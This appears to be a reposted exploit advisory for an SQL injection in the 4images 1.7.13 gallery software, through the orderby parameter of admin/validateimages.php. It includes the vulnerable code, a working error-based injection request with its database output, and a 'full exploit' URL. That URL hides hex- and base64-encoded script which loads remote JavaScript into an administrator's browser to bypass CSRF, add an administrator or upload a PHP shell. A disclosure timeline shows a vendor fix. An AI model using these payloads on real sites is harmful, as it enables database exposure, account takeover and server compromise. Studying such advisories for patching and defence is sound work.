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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# vulnerable app : 4images <= 1.7.13
# Vendor : www.4homepages.de
# Author : Ahmed sultan (0x4148)
# Email : 0x4148@gmail.com
# Home : 0x4148.com

4images is a powerful web-based image gallery management system. Features
include comment system,
user registration and management, password protected administration area
with browser-based upload and HTML templates for page layout and design.
The app is vulnerable to Sql injection flaw which can be escalated to new
administrator add exploit
Vulnerable code
File : admin/validateimages.php
Line 406
    $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name,
i.image_date, i.image_media_file".get_user_table_field(", u.",
"user_name")."
            FROM ".IMAGES_TEMP_TABLE." i
            LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.",
"user_id")." = i.user_id)
            WHERE $condition
            ORDER BY $orderby $direction
            LIMIT $limitstart, $limitnumber";
    $result = $site_db->query($sql);
Input parameter orderby is not sanitized before being passed to the sql
query which lead to sql injection flaw
POC
GET
/lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101
Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 4images_lastvisit=1478064418; 4images_userid=1;
sessionid=ru4g0mqdpd3cj6pub1d0a5kmf4

Will result in
<br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>:
SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date,
i.image_media_file, u.user_name
            FROM 4images_images_temp i
            LEFT JOIN 4images_users u ON (u.user_id = i.user_id)
            WHERE 1=1
            ORDER BY extractvalue(1,concat(0x7e,version())) ASC
            LIMIT 0, 10<br /><b>XPATH syntax error: '~5.5.25a'

To reproduce, add normal user account, add a category and allow users to upload images in it.
Login with the normal user account and upload an image.
Try the poc 

Exploitation :
By the help of JS the sql injection flaw can be used to obtain the current
csrf token and use it to add new administrator within the admin browser
session
Full exploit poc
admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)

Ly9sb2NhbGhvc3QveC5qcw== is the base64 encoded Javascript url which will be
executed inside administrator's browser

Impact
Attacker can inject JS code which result in bypassing the CSRF token ,
adding new administrator's account
or even updating allowed extensions and uploading php shell on the
vulnerable host

Reference(s):
https://0x4148.com/2016/11/02/4images-1-7-13-sql-injection-administrator-add-exploit/

Disclosure timeline
1/11 - Vulnerability was reported
2/11 - Vendor sent fixation to review
3/11 - Fixed evrsion was retested by me and approved
3/11 - Vendor scheduled official update release
10/11 - Public disclosure